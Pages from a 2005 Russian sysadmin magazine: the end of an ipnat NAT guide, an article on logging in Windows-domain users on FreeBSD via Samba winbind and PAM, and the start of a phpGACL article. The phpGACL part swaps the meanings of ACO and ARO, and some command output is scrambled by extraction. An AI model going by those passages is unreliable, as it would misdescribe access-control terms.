администрирование Для автоматического запуска при перезагрузке в /etc/ rc.conf добавьте строчку «ipnat_enable = “YES”». Итак, приступим к рассмотрению правил трансляции. Замечу, что, в отличие от ipfw, в ipf и ipnat, правила не нумеруются, и их порядок определяется последовательностью загрузки, то есть местом в конфигурационном файле. Собственно трансляция пакетов, исходящих с машин локальной сети в Интернет (маскарадинг), осуществляется правилом map: map rl0 from 192.168.0.0/24 to any -> 100.100.100.101/32

Читать его очень просто, почти как на естественном языке: преобразовывать пакеты, проходящие через интерфейс rl0, с адресов, принадлежащих указанной подсети, на любые адреса, заменив адрес отправителя указанным реальным. Если конкретизация адресов назначения не требуется, можно использовать и упрощенный синтаксис: map rl0 192.168.0.0/24 -> 100.100.100.101/32

Правило может быть дополнено некоторыми опциями, из которых наиболее часто используется portmap. Она конкретизирует, на какие номера портов отображать пакеты. Диапазон портов, которые разрешается использовать для целей трансляции, задается в виде begin:endN. Например, следующее правило позволяет использовать только TCPпорты с 10000 по 10999: map rl0 192.168.0.0/24 -> 100.100.100.101/32 ↵ portmap tcp 10000:10999

После символов «–>» может быть указан не только один адрес, но и подсеть внешних адресов. В этом случае правило map сможет использовать любой свободный адрес из указанной подсети. Для безусловной двунаправленной трансляции между внутренним и внешним адресами используется правило bimap: bimap rl0 192.168.0.125/32 -> 100.100.100.125/32

Помимо трансляции исходящих пакетов все входящие пакеты, адресованные хосту 100.100.100.125, будут перенаправляться на «внутреннюю» машину. Это правило позволит машине с адресом 192.168.0.125 выглядеть снаружи так, как будто она имеет реальный адрес 100.100.100.125. Если нужно пропускать пакеты, приходящие на определенные порты, внутрь локальной сети, например, если там размещен Web- или FTP-сервер, используются правила перенаправления: rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.80 ↵ port 8080 tcp

В этом случае TCP-пакеты, адресованные на 80-й порт хоста 100.100.100.125, будут транслироваться на порт 8080 машины, расположенной внутри локальной сети. Одним из интересных свойств редиректа является возможность создавать балансировщик нагрузки между несколькими серверами, хотя и довольно примитивный. На-

№3, март 2005

пример, следующие правила будут поочередно перенаправлять входящие запросы то на один, то на другой сервер: rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.80 ↵ port 8080 tcp round-robin rdr rl0 100.100.100.180/32 port 80 -> 192.168.0.81 ↵ port 8080 tcp round-robin

Опция round-robin заставляет динамически менять порядок правил таким образом, что эти правила срабатывают по очереди. Для контроля за работой ipnat используются два ключа: -s и -l. Первый выдает общую статистику работы NAT-сервера: # ipnat -s mapped in added 29 no memory inuse 1 rules 1 wilds 0

476 out 460 expired 27 0 bad nat 0

Ipnat со вторым ключом выводит список активных правил и список активных в данный момент сеансов: # ipnat -l List of active MAP/Redirect filters: map rl0 from 192.168.0.100/32 to any -> 100.100.100.100/32 List of active sessions: MAP 192.168.0.100 1035 <- -> 100.100.100.100 1035 [64.12.26.148 443]

Дополнительные сведения можно, как обычно, получить на страницах справочного руководства man ipnat(5), ipnat(1). Замечу, что ipfw, natd, ipf, ipnat отлично уживаются вместе. Нужно только не забывать про особенности фильтров: ipfw срабатывает по первому совпадению, а ipf (без опции quick в правиле) – по последнему. Ну и всегда следует иметь в виду порядок прохождения пакета через фильтры. Так, если поддержка ipf собрана в ядре, то независимо от того, как запущен ipfw, в первую очередь пакеты будут проходить через правила ipf, а ipfw получит на вход только то, что будет им пропущено. Если же ipfw собран в ядре, а ipf подгружен как модуль, то правом первенства будет пользоваться ipfw. Как natd, так и ipnat, отлично справляются с типовыми задачами трансляции адресов, и выбор между ними – скорее дело вкуса. В «экзотических» случаях могут понадобиться уникальные свойства того или иного сервера. Например, средства проксирования у natd более развиты, чем у ipnat, зато с помощью ipnat намного проще реализовать трансляцию различных групп адресов по разным правилам. Если ipnat способен решать те задачи, которые вам требуются, то, учитывая его «близость» к ядру и, следовательно, лучшее быстродействие, рекомендуется использовать этот сервер NAT. К тому же его конфигурация выглядит немного более удобной.

Литература: 1. Супрунов С. FreeBSD tips: NAT по старинке. – журнал «Системный администратор» №2, 2005 г. 2. Ильченко Т. IPFilter с самого начала. – журнал «Системный администратор» №5, 2004 г.

21


администрирование

FreeBSD В ДОМЕНЕ Microsoft Windows РАШИД АЧИЛОВ Постановка задачи Предположим, имеется некоторое количество компьютеров, объединенных в локальную сеть и включенных в один Microsoft-based домен с контроллером домена на базе Windows 2000 Server. Как известно, в такой конфигурации нет необходимости заводить пользователей на каждом из компьютеров – достаточно создать пользователя в домене и можно с его учетной записью регистрироваться и работать на любом компьютере домена, если на то не установлено специальных ограничений. Теперь предположим, что в этот домен (например, MYDOMAIN) необходимо добавить рабочую станцию под управлением FreeBSD. Полноценное взаимодействие с членами Microsoft-based домена FreeBSD выполняет с помощью пакета Samba. Можно ли обойтись без создания локальных пользователей на FreeBSD и в момент авторизации действовать так же, как рабочая станция Microsoft Windows, – запрашивать список пользователей с контроллера домена? До недавнего времени ответ был однозначен: «Нельзя». Несмотря на наличие в системе winbindd, который позволяет получать информацию о пользователях домена, не было способов интегрировать доменных пользователей в систему и работать с ними так, как если бы они были локальными (хотя новая Samba 3.x предоставляет такую возможность). Но с выходом FreeBSD 5.x все изменилось в лучшую сторону. Итак, задача: настроить систему таким образом, чтобы можно было регистрироваться в системе, а также заходить по ftp, ssh, kdm и использовать xlockmore но при этом не создавать локального пользователя. Полигон: рабочая станция под управлением FreeBSD 5.3-RELEASE с установленной Samba 3.0.10, контроллер домена под управлением Windows 2000 Server. В сети Microsoft Network рабочая станция называется MYSTATION, контроллер домена – MYPDC.

Новые возможности Благодаря чему поставленная задача стала решаемой? Решение задачи базируется на двух краеугольных камнях. Во-первых, во FreeBSD 5.х наконец-то появилась поддержка NSS (Name Service Switching), благодаря чему теперь возможно перенаправлять запросы программ, запрашивающих информацию о пользователе, группе, компьютере и т. д. Допустим, мы вводим команду id (выдать информацию о пользователе) в системе, не входящей в домен Microsoft Windows: > id user1 uid=1001(user1) gid=999(user1) groups=999(user1), 0(wheel), 20(staff), 69(network), 70(pgsql)

Программа id вызывает системную функцию getuid() для получения информации о пользователе, логин которого задан в командной строке. Порядок получения информации функцией getuid() во FreeBSD версий 4.х и 5.х приведен на рисунке.

22

Getuid() обращается к единственному источнику информации – локальной базе пользователей – файлу master.passwd для получения данных и выдает ответ, показанный выше. Теперь мы вводим команду id в системе, которая подключена к домену Microsoft Windows надлежащим образом: > id user1 uid=15020(user1) gid=15001(Domain Users) groups=15001 (Domain Users), 15011(Consultant users), 15014(LaserJet 1100 users), 15017(Production Users)

Getuid() обращается к файлу nsswitch.conf, получает из него список источников информации и последовательно обращаясь к каждому, опрашивает их на предмет получения данных. И точно так же будет вести себя любая другая программа, которой потребуется получить информацию о пользователе или, например, проверить пароль пользователя. Во-вторых, это PAM (Pluggable Authentication Mechanism) – чрезвычайно мощный и столь же гибкий механизм, позволяющий реализовывать практически любые механизмы аутентификации пользователей любыми путями. Конечно, реализация PAM была и в 4.x. Но только в 5.x появилась возможность использовать его для целей аутентификации из домена Microsoft. Файл /etc/pam.conf в FreeBSD 5.x был заменен на каталог /etc/pam.d, в котором размещается по одному файлу на каждый сервис с именем, совпадающим с названием сервиса. Таким образом, настройка FreeBSD для аутентификации из домена Microsoft Windows сводится к: ! Настройке Samba для обеспечения возможности работать с доменом Microsoft Windows. ! Настройке PAM для обеспечения работоспособности различных сервисов. Мы рассмотрим только несколько наиболее часто используемых сервисов: login, kdm, ftp, ssh и xlock. При необходимости прочие сервисы могут быть настроены по образцу.

Настройка Samba и NSS Так же как театр начинается с вешалки, так и представление FreeBSD, как и любой другой UNIX-системы в сети Microsoft Windows, начинается с настройки пакета Samba. Об этом


администрирование написано достаточно как на английском, так и на русском. С моей точки зрения лучшей является документация, созданная самими авторами пакета: «Using Samba», «Official Samba3 HOWTO and reference Guide», «Samba-3 by Example». Мы рассмотрим только настройки winbindd, необходимые для получения информации из домена Microsoft Windows. Предполагается, что рабочая станция уже является членом домена. template homedir = /usr/home/%U

Этот параметр определяет «домашний каталог» сетевого пользователя. Winbindd для каждого пользователя, отсутствующего в локальной базе, создает запись, по формату совпадающую с форматом записей файла master.passwd. Для заполнения полей, которые принципиально отсутствуют в домене Microsoft Windows, winbindd использует этот и подобные ему другие параметры. Макрос %U, как это принято в пакете Samba, обозначает имя пользователя. Каталог должен существовать, пользователь должен иметь на него необходимые права. При создании локальных пользователей все эти действия выполняет команда adduser. Как обеспечить наличие домашнего каталога для сетевого пользователя? Microsoft Windows выполняет это действие автоматически. Стандартное решение мне неизвестно, нестандартных же способов есть несколько: ! Завести локального пользователя «_dummy» и вручную копировать домашний каталог всем создаваемым сетевым пользователям с последующим изменением владельца файлов. ! Использовать возможность PAM session. Данный элемент настроек PAM обычно используется для занесения записей о начале сессии в файлы utmp/wtmp. template shell = /bin/tcsh

Это второй параметр, который используется winbindd для заполнения записи о сетевом пользователе. Если локальная работа пользователей с данного компьютера не планируется, значением данного параметра можно выставить любую неинтерактивную программу, обычно это /sbin/nologin. dmap gid = 15000-30000 idmap uid = 15000-30000

Значения этих параметров очень важны для работы winbindd. Они задают диапазоны идентификаторов пользователей и групп, выделяемых для сетевых пользователей. В указанных диапазонах не должно существовать локальных пользователей или пользователей YP/NIS. winbind use default domain = true

Этот параметр определяет, как winbindd будет реагировать на имя пользователя, не содержащее домена. Если параметр указан, то winbindd будет подставлять workgroup= <workgroup_or_domain_name> из smb.conf в качестве имени домена. Значение этого параметра практически не влияет на работу в сети Microsoft Windows, зато значительно облегчает работу по протоколам ftp, ssh, электронной по-

№3, март 2005

чты и т. д., потому что не будет требоваться указание домена (user1 вместо MYDOMAIN\user1). winbind separator = +

Этот параметр задает разделитель между доменом и именем пользователя. Значением по умолчанию является «\», но рекомендуется изменять параметр на что-нибудь другое, особенно, если планируется использование запросов к winbindd в скриптах. Символ «\» воспринимается командной оболочкой как служебный и обязательно должен быть «экранирован», то есть отмечен таким образом, чтобы командная оболочка воспринимала его как обычный символ. При этом «экранирование» может проводиться неоднократно и определить нужное число символов становится весьма нетривиальной задачей. Samba-3 HOWTO рекомендует устанавливать еще два параметра: winbind enum users = yes winbind enum groups = yes

По умолчанию эти значения уже установлены в «yes». Если база пользователей большая, рекомендуется отключить перенумерацию, то есть установить значения в «no». На что еще следует обратить внимание: ! Samba по умолчанию собирается с winbindd, поэтому во время сборки пакета не отключайте эту опцию! ! По умолчанию файлы динамических библиотек nss_winbind.so, pam_winbind.so, nss_wins.so и pam_smbpass.so (если его сборка была запрошена опцией PAM_ SMBPASS) помещаются в каталог /usr/local/lib. Если расположение каталогов меняется, необходимо убедиться, что каталог, в котором размещены данные файлы, входит в LDCONFIG_PATH. ! Берегите базу IDMAP, после того как были розданы права на локальные файлы (допустим, создан профиль KDE, загружены документы, и т. д.). База IDMAP содержит соответствие между учетной записью домена и локальным UID/GID, которые будут вписываться в права на файл, как владелец и группа владельцев. Если база IDMAP была случайно утеряна, то при следующем обращении она будет создана заново, но соответствие между учетной записью и UID будет нарушено (первый пользователь, о котором была запрошена информация, получает UID = idmap uid, второй = idmap uid + 1 и т. д.) и можно обнаружить, что ваш домашний каталог принадлежит другому пользователю. База IDMAP содержится в двух файлах – /var/db/samba/winbind_groups.tdb и /var/db/samba/winbind_idmap.tdb. Настройка NSS выполняется правкой файла настройки nsswitch.conf. В него следует добавить или изменить следующие строчки: group: files winbind passwd: files winbind

Более подробную информацию о формате файла nsswitch.conf и его возможностях можно получить из man nsswitch.conf и главы 21 Samba 3 HOWTO «Winbind: use of Domain accounts».

23


администрирование Как проверить, правильно ли все настроено? Пример правильного вывода команды id был приведен выше. Если вместо этого появляется что-то типа: >id user2 id: user2: no such user

при условии того, что пользователь user2 точно существует, значит, что-то настроено неправильно. Некоторые случаи, которые могут привести к такой ситуации, рассмотрены в разделе «Возможные ошибки».

Настройка PAM Итак, теперь мы можем получить информацию о пользователях домена и использовать их имена точно так же, как имена локальных пользователей и групп, например, для раздачи прав: > ls -l total 1468 drwx------ 3 shelton Domain Users 1024 19 Dec 14:27 Desktop/ drwx------ 18 shelton Domain Users 3584 13 Feb 22:54 Mail/ drwxr-xr-x 2 shelton Domain Users 1024 14 Jan 2002 RFC/ drwx------ 10 shelton Domain Users 1024 11 Feb 14:49 documents/

Пользователи Windows сразу узнают группу Domain Users – стандартную группу Microsoft Windows домена. Но это только еще половина дела. Регистрироваться с сетевой учетной записью мы все еще не можем, потому что службы аутентификации компьютера ничего не знают ни о сети Microsoft, ни об NSS. Службы аутентификации используют PAM и для решения второй части задачи следует создать необходимые конфигурационные файлы.

Что такое PAM «...Pluggable Authentication Modules (PAM) – это набор API, который позволяет системным администраторам добавлять методы аутентификации простым подключением новых PAMмодулей, и модифицировать политики аутентификации простым редактированием конфигурационных файлов...» – так описан PAM в руководстве пользователя FreeBSD. PAM был разработан в Sun Microsystems в 1995 г. и с тех пор не претерпел больших изменений. FreeBSD 5.х использует спецификацию OpenPAM (в то время как FreeBSD 4.х использовала Linux-PAM), но для его изучения годится любая доступная документация. Все системные службы по умолчанию используют PAM – регистрируетесь ли вы на консоли, заходите ли на компьютер по ftp или ssh – соответствующая программа (login, ftp, sshd) считывает оглавление каталога /etc/pam.d, находит файл с именем, совпадающим с именем сервиса и получает из него информацию о том, какие модули и в каком порядке следует использовать для аутентификации пользователя и как обрабатывать их ответы. Перед тем как вносить какие-либо изменения в содержимое каталога /etc/pam.d, необходимо отметить следующие моменты: ! Конфигурация PAM довольно-таки запутанная и терминологически неустоявшаяся область, поэтому настоятельно рекомендуется ознакомиться с какой-нибудь документацией по PAM, перед тем как пытаться в нем чтото самостоятельно изменить.

24

! Обязательно сохраните копию каталога /etc/pam.d до того, как начнете вносить в него изменения! (Этот совет в неизменном виде кочует из одной статьи по PAM в другую потому что авторы, как правило, на своей шкуре убедились в его правильности). ! Для внесения изменений в конфигурацию не нужно ни перегружать систему, ни перезапускать какие-либо сервисы – файл конфигурации сервиса считывается с диска в момент запроса к данному сервису, поэтому всё время, пока идут эксперименты с PAM, держите открытой как минимум одну консоль с правами root для внесения изменений, если что-то вдруг пойдет не так. Одно неверное движение – и можно уже не попасть в систему иначе как в однопользовательском режиме.

Настройка регистрации с консоли Первое, что необходимо настроить, – это возможность зайти на компьютер с консоли. Конфигурационный файл PAM для регистрации на консоли уже существует. Он разбит на две части – файлы /etc/pam.d/login и /etc/pam.d/system. Файл /etc/pam.d/login нас не интересует, потому что содержит только стандартные строки и вызов файла /etc/pam.d/ system. В файл /etc/pam.d/system вносим следующие изменения (в секцию auth): auth sufficient pam_unix.so ↵ no_warn try_first_pass nullok auth required pam_winbind.so ↵ use_first_pass

Что нам это дает? Первая строка указывает PAM на необходимость использования модуля pam_unix, который выполняет аутентификацию по обычному файлу /etc/master.passwd. Дополнительные флаги указывают на то, что нужно запросить пароль у пользователя и что ввод пустой строки допустим. Условие suffcient вызовет прекращение проверки в случае успешной аутентификации. Таким образом, если пользователь присутствует в файле /etc/master.passwd (например, root), дальнейшая проверка по базе пользователей домена не выполняется. Вторая строка определяет использование модуля pam_winbind, который выполняет аутентификацию по базе домена Microsoft Windows. Флаг параметров указывает на то, что нужно использовать пароль, введенный по запросу предыдущего модуля, а не спрашивать его еще раз. Условие required устанавливает состояние «успешно, если следующие успешны». Поскольку следующих модулей нет, результат аутентификации будет определяться модулем pam_winbind. В случае ввода правильного пароля предоставляется доступ в систему и на консоли (а также в файле /var/ log/console, если помещение сообщений в этот файл настроено) появляется сообщение: Feb 7 18:06:31 sentry kernel: Feb 7 18:06:31 sentry pam_winbind[23340]: user 'shelton' granted access

Если пароль указан неверно или указано неверное имя пользователя, pam_winbind выдает соответствующие сообщения: Feb 12 19:52:03 sentry kernel: Feb 12 19:52:03 sentry pam_winbind[55953]: request failed: No such user, PAM error was 13, NT error was NT_STATUS_NO_SUCH_USER


администрирование Feb 14 09:04:16 sentry kernel: Feb 14 09:04:16 sentry pam_winbind[43263]: request failed: Wrong Password, PAM error was 9, NT error was NT_STATUS_WRONG_PASSWORD Feb 14 09:04:16 sentry kernel: Feb 14 09:04:16 sentry pam_winbind[43263]: user `shelton' denied access (incorrect password or invalid membership)

Настройка KDM Если компьютер используется как рабочая станция, то второй по важности будет возможность запустить графическую оболочку. В крайнем случае, конечно, можно воспользоваться «дедовским» методом и прямо из консольного обработчика команд запустить startx, прописав в .xinitrc «exec startkde» последней строчкой. Поэтому мы копируем файл /etc/pam.d/xdm (стандартный) в /etc/rc.d/kdm и вносим в него изменения, аналогичные описанным выше. После внесения изменений секция auth-файла /etc/pam.d/ kdm должна выглядеть так: # auth auth required pam_nologin.so auth sufficient pam_unix.so no_warn try_first_pass nullok auth required pam_winbind.so use_first_pass

no_warn ↵ ↵

Логика работы аутентификаторов будет в точности совпадать с логикой работы, описанной в предыдущем разделе.

Настройка SSH При настройке SSH я позволил себе немножко схитрить. Не стал настраивать PAM для SSH, а вместо этого воспользовался возможностью SSH-аутентификации по публичному ключу. Поскольку SSH использует собственный перечень методов аутентификации, в котором метод publickey идет до метода password, проверка доступа с использованием PAM в таком случае не используется. Порядок настройки аутентификации по публичному ключу изложен в любой документации по SSH, а также в статье «Копирование файлов в автоматическом режиме с множества компьютеров через SSH», опубликованной в журнале №12, 2004 г. Если же использовать методы аутентификации, основанные на PAM, то необходимо создать файл /etc/pam.d/ssh2 (можно скопировать стандартный файл, например, xdm), в который вписать секцию auth приведенную выше, последовательность вызова модулей проверки доступа. Естественно, SSH должен быть собран с поддержкой PAM. Кроме того, конфигурационный файл сервера должен включать следующие строчки: AllowedAuthentications AuthKbdInt.Optional

keyboard-interactive pam

а конфигурационный файл клиента: AllowedAuthentications

keyboard-interactive

Настройка FTP В качестве FTP-сервера я использую ProFTPd из порта ftp/ proftpd. Поддержка PAM в нем включена по умолчанию. Для ее использования нужно добавить в конфигурационный файл сервера proftpd.conf строчку: AuthPAM

№3, март 2005

on

Для включения сервиса proftpd создать файл /etc/pam.d/ proftpd (можно скопировать стандартный файл ftp), доработать его так, как описано в разделе «Настройка регистрации с консоли». PAM не требует перезагрузки каких-либо демонов, поэтому проверить работоспособность конфигурации можно немедленно: Connected to localhost.granch.ru. 220 Private FTP server by some porgrammer from Granch Ltd. Name (localhost:shelton): shelton 331 Password required for shelton. Password: ******** 230 User shelton logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp>

При этом на консоли отображается сообщение pam_ winbind о предоставлении доступа, приводимое выше, а в файле /var/log/ftpd – регистрация обычного ftp-сеанса.

Настройка программы xlockmore Последним рассмотренным примером будет широко известная программа блокировки экрана xlockmore, выводящая при этом различные заставки. Xlockmore содержит около 50 различных заставок, в том числе трехмерных. При запуске блокируются клавиатура и экран, и выводится заставка во время неактивности и пояснительный текст при нажатии любой клавиши. (Внизу отображается содержимое файла .signature, если он присутствует в домашнем каталоге). Для разблокировки экрана следует ввести пароль, который программа проверяет либо по локальной базе пользователей, либо с использованием PAM. Xlockmore по умолчанию не использует PAM. Для включения его использования необходимо дописать в Makefile порта в строчку CONFIGURE_ARGS ключ --enable-pam и пересобрать программу. При этом следует иметь в виду, что ключи --enable-pam и --with-xlock-group почему-то являются взаимоисключающими – при их одновременном разрешении сборка программы завершается с ошибкой. Для использования PAM следует создать файл /etc/ pam.d/xlock (можно скопировать стандартный файл xdm) и изменить его, как показано в разделе «Настройка регистрации с консоли». Следует учитывать то, что программа пропускает только нажатие клавиши переключения раскладок, при этом факт переключения раскладки нигде не отображается, все остальные (в том числе Enter, ESC и пр.) – интерпретируются как часть пароля!

Дополнительное ограничение Теперь мы можем регистрироваться в системе с доменной учетной записью. Но ведь теперь это же могут делать и все пользователи домена! Такая свобода нам вовсе ни к чему, поэтому настроим дополнительное ограничение – возможность использования некоторого сервиса только членам определенной локальной группы. В этом нам опять поможет PAM. Существует стандартный модуль pam_group, который решает именно такую задачу, – аутентификация успешна, только если пользователь входит в некую локальную группу. Если его включить в цепочку аутентификаторов, задача должна быть решена.

25


администрирование На практике все оказалось не так-то просто. Модуль почему-то упорно отказывался работать, несмотря на явную правильность задания параметра. После некоторого исследования был создан патч для модуля, после наложения которого все начинает работать, как ожидалось. Патч приведен ниже: --- pam_group.c.old Tue Dec 14 19:38:56 2004 +++ pam_group.c Tue Dec 14 19:38:56 2004 @@ -70,7 +70,7 @@ return (PAM_IGNORE); +

/* get applicant */ if (pam_get_item(pamh, PAM_RUSER, &ruser) != PAM_SUCCESS if (pam_get_item(pamh, PAM_USER, &ruser) != PAM_SUCCESS || ruser == NULL || (pwd = getpwnam(ruser)) == NULL) return (PAM_AUTH_ERR);

Итоговая логика работы аутентификаторов такова (на примере файла для сервиса kdm): # auth auth required pam_nologin.so no_warn ↵ auth sufficient pam_unix.so no_warn try_first_pass nullok ↵ auth required pam_group.so group=ntstaff auth required pam_winbind.so ↵ use_first_pass

Если существует файл /var/run/nologin (это проверяется модулем pam_nologin), то доступ будет запрещен, независимо от результата работы прочих модулей (required). Если pam_nologin разрешает доступ, то устанавливается состояние «разрешить доступ, если не было запретов от других модулей». Если pam_unix разрешает доступ (это означает, что пользователь существует в локальной базе пользователей), то обработка цепочки прекращается, доступ будет предоставлен. Иначе результат pam_unix игнорируется (sufficient). Если пользователь присутствует в локальной группе ntstaff, pam_group разрешает доступ, и состояние «разрешить доступ, если не было запретов от других модулей» сохраняется. Иначе же доступ будет запрещен, независимо от результата работы прочих модулей (required). Если pam_winbind разрешает доступ и состояние «разрешить доступ, если не было запретов от других модулей» сохранилось, то доступ будет предоставлен, в противном случае доступ предоставлен не будет. Иначе говоря, если присутствуют модули с условием required, то результат их работы обьединяется по «и» – доступ будет предоставлен, только если все модули предоставили доступ.

Возможные ошибки Ошибки Winbindd Если настройка winbindd была выполнена, но команда id user2 не выдает информацию о группах, в которые входит пользователь, а выдает что-то типа: >id user2 id: user2: no such user

следует проверить следующие вещи: ! winbindd запущен (несмотря на всю тривиальность данного совета);

26

! winbindd настроен правильно (параметры template shell, ! ! ! ! !

template homedir, idmap uid, idmap gid не имеют значений по умолчанию!); команды wbinfo -p и wbinfo -t выдают успешные результаты (подробнее см. man wbinfo); компьютер входит в домен; доступен как минимум один контроллер домена, если указано password server = * или компьютер, указанный как сервер паролей в параметре password server; каталог, в котором находится файл nss_winbind.so присутствует в переменной LDCONFIG_PATH (в особенности если это нестандартный каталог); отсутствие сообщений об ошибках в файлах log.smbd, log.nmbd и log.winbindd, а также на консоли (например, файл nss_wins.so, предназначенный для поиска компьютеров по NetBIOS-имени, запустить не удалось из-за постоянной непонятной ошибки).

Ошибки PAM Ошибки PAM диагностировать значительно труднее, потому что практически отсутствуют средства их обнаружения. Для диагностирования работы цепочек можно использовать модуль pam_echo, который выводит на экран передаваемые ему параметры (а также значения макроподстановок. Что можно получить через макросы, указано в man pam_echo). С чем могут быть связаны ошибки PAМ: ! каталог с файлом pam_winbind.so отсутствует в переменной LDCONFIG_PATH; ! неверные условия для какого-либо модуля из цепочки; ! неверное построение цепочки. Необходимо точное понимание того, как условия required, requisute, sufficient и прочие воздействуют на цепочку. Неверное построение цепочки может привести к тому, что доступ не будет предоставлен при правильных условиях или будет предоставлен при неверных условиях.

Заключение Данная статья рассматривает как на одну небольшую ступеньку приблизить ваш компьютер к «FreeBSD Desktop». Исключение необходимости создания локального юзера для работы за компьютером, входящим в домен Microsoft Windows – маленький, но полезный шаг в этом направлении.

Литература: 1. http://www.freebsd.org/doc/en_US.ISO8859-1/articles/pam/ article.html – Pluggable Authentication Modules by DagErling Smorgrav, 2003 г. 2. http://www.onlamp.com/pub/a/bsd/2003/02/06/FreeBSD_ Basics.html – PAM by Dru Lavinge, 2003 г. 3. The Offifical Samba-3 HOWTO and reference guide. Jelmer R. Vernooij, John H. Terpstra, Gerald (Jerry) Carter, 2004 г. 4. Samba-3 by example. John H. Terpstra, 2004 г. 5. SSH Secure Shell for Server version 3.2.9 Administrators Guide. SSH Communications Secuirty Corp., 2003 г. 6. man pam_echo, man pam_group, man pam.conf, man smb.conf, man pam_winbind, man sshd.conf.


администрирование

PhpGACL – СИСТЕМА УПРАВЛЕНИЯ ПРАВАМИ

КИРИЛЛ СУХОВ Авторизация, аутентификация – эти проблемы всегда появляются при разработке многопользовательских веб-приложений. Для их решения применяются различные механизмы, которые давно и хорошо известны. Задача контроля прав доступа несколько сложнее, а её универсальное решение с произвольным количеством объектов и субъектов, причём с простым управлением вырастает в довольно серьёзную работу. Я не раз и не два наблюдал, как программист создал собственную систему управления правами, да и сам изобрёл пару велосипедов на этом фронте. PhpGACL – это набор функций, призванный если и не решить проблему управления правами раз и навсегда, то по крайней мере, значительно её упростить. Он легко встраивается в готовое приложение и позволяет реализовать довольно сложную схему полномочий пользователей. Объектами доступа могут быть веб-страницы сайта, базы данных, другие пользователи, хосты и т. д. Для установки не требуется ничего, кроме наличия реляционной базы данных (PostgreSQL, MySQL, Oracle, Interbase или библиотеки SQLite) и абстрактный класс доступа к базам данных ADOdb.

Для чего нужна система управления правами? Как пример приложения возьмём веб-интерфейс к клиентской базе некого телекоммуникационного предприятия. Доступ к нему в той или иной степени имеют все сотрудники, с той разницей, что, если такие атрибуты, как ФИО, контактные телефоны, email, общедоступны (на чтение), то с более конфиденциальной информацией, такой как финансовая история, технические детали, могут быть ознакомлены только те, кто по своим должностным обязанностям имеют на это право. Изменять наиболее важные сведения (состояние лицевого счёта, атрибуты контракта) имеют право лишь несколько сотрудников, несущих ответственность за свои действия. Кроме того, есть ещё индивидуальные роли – секретарь должен иметь доступ к финансовой истории, чтобы отвечать клиентам на претензии, скажем, по поводу приостановки услуги за неуплату, он же должен иметь возможность изменять некоторые атрибуты клиента (состояние услуги, или, скажем, ФИО), системному инженеру должна быть доступна возможность менять сетевые параметры и т. д. Казалось бы, реализовать права доступа не представ-

№3, март 2005

ляет особо сложной задачи. Формируем пользователей и на каждый объект системы (в данном случае это веб-страницы, но при более высоком уровне абстракции объектами могут быть и таблицы, и базы данных) устанавливаем права доступа. В вышеописанном случае сгруппируем эти права в простенькую таблицу:

Недостатки тут не очевидны, наоборот, при такой схеме всё кажется явным и прозрачным. Проблемы начинаются тогда, когда операции с правами пользователей немного выходят за штатный режим. Допустим, менеджер по работе с клиентами увольняется или заболевает, и его функции (если точнее, его права) необходимо срочно передать кому-то другому, в чьи служебные обязанности они ранее не входили. Причём системного администратора, который может назначить эти функции, поковырявшись в базе данных «отвёрткой», в данный момент нет на месте, да и вообще данное ковыряние – по сути, нештатная операция, которая в нормально организованной системе не должна иметь место. Конечно, можно прописать соответствующие права у конкретного объекта доступа, но особенность подобных систем состоит в том, что пользователей (другими словами, субъектов доступа), как правило, гораздо больше, чем объектов. Причём при вышеописанном матричном подходе (в худшем случае, но случае вполне реальном) нам придётся определять права всех пользователей при доступе к каждому конкретному объекту. Конечно, можно ввести права «по умолчанию», но тогда проблемы возникнут при добавлении нового объекта. Ещё одна проблема заключается в том, что при реальной работе (ну, скажем, вышеописанной болезни администратора) бывает так, что права доступа к объектам назначать просто некому. Та-

27


администрирование ким образом, система распределения и управления правами должна включать и возможность некоторым категориям пользователей давать права доступа другим. В этом, кстати, коренное отличие желаемой логики от логики распределения прав, существующих в современных файловых системах, таких, как NTFS или различные файловые системы *nix. Подход, который использует phpgacl, конечно, не панацея, но довольно эффективен. Он заключается в рассмотрении пользовательских прав не со стороны объектов, а со стороны субъектов доступа. Исчерпывающие примеры, демонстрирующие её работу, даны в документации, я же сейчас попробую рассмотреть несколько упрощённую модель. Для начала определимся с терминами. В любой системе распределения прав существует, по крайней мере, три понятия – это пользователь, запрашивающий доступ, объект, доступ к которому запрашивается, и, собственно, тип доступа (скажем, чтение или изменение данных). В phpgacl пользователю соответствует определение ACO (Access Control Objects – Объекты контроля доступа). В данном случае это просто пользователи системы. Объектам соответствует определение ARO (Access Request Objects – Объекты запроса доступа), которое включает в себя любые объекты доступа, определяемые приложением. С третьим пунктом (тип доступа) немного сложнее. В базовой модели применения это понятие вообще не предусмотрено, почему – об этом позже. Разумеется, в любой сколько-нибудь сложной системе данная вещь необходима, и в phpgacl она, разумеется, присутствует (AXO – Access eXtension Objects – Объекты расширения доступа), но применение данного средства не всегда нужно, по крайней мере, по двум причинам. Первая и самая очевидная из них – специфика доступа в веб-приложениях. Как правило, на «низком» уровне доступ сводится к предоставлению пользователю прав выполнить определённый скрипт. Вторая причина состоит в том, что результат проверки доступа, который возвращает система, имеет булевой формат (ALLOW или DENY) и соответственно тип доступа (если в таковом есть необходимость), должен быть так же описан как объект.

Логика работы Сразу хочу предупредить (честно говоря, для меня это было камнем преткновения), что phpgacl не даёт возможности указывать права пользователя на конкретные скрипты, вебстраницы или, скажем, таблицы базы данных. Всё, что она делает, – это управляет логикой распределения прав. Авторизацию, аутентификацию, привязку к объектам должно взять на себя ваше приложение. Чтобы получить представление, как именно это можно сделать, советую посмотреть реализацию административных функций в популярной CMS (Content Manager System) Mambo (http://mamboserver.com), где phpgacl встроена в систему и практически нигде явным образом не видна, но берёт на себя всю работу распределения прав пользователей. Основное отличие phpgacl от вышеописанного табличного (матричного) подхода в том, что система описывает структуру прав «сверху вниз», исходя из субъектов (каковыми в данном случае являются сотрудники). Субъекты могут быть организованы в группы, причём любого уровня вложенности. Права назначаются субъектам и группам и

28

могут быть переопределены внутри групп. Очень важно понимать, что проверка прав заключается в возвращении булевого значения для любого запроса. Как не совсем очевидное следствие такого подхода – невозможность прямо получить ответ на вопрос вида «кто имеет доступ к изменению баланса клиента?» (в отличие от вопроса «Имеет ли Вася такой доступ?»). Система смотрит на права с точки зрения субъектов, а не объектов доступа.

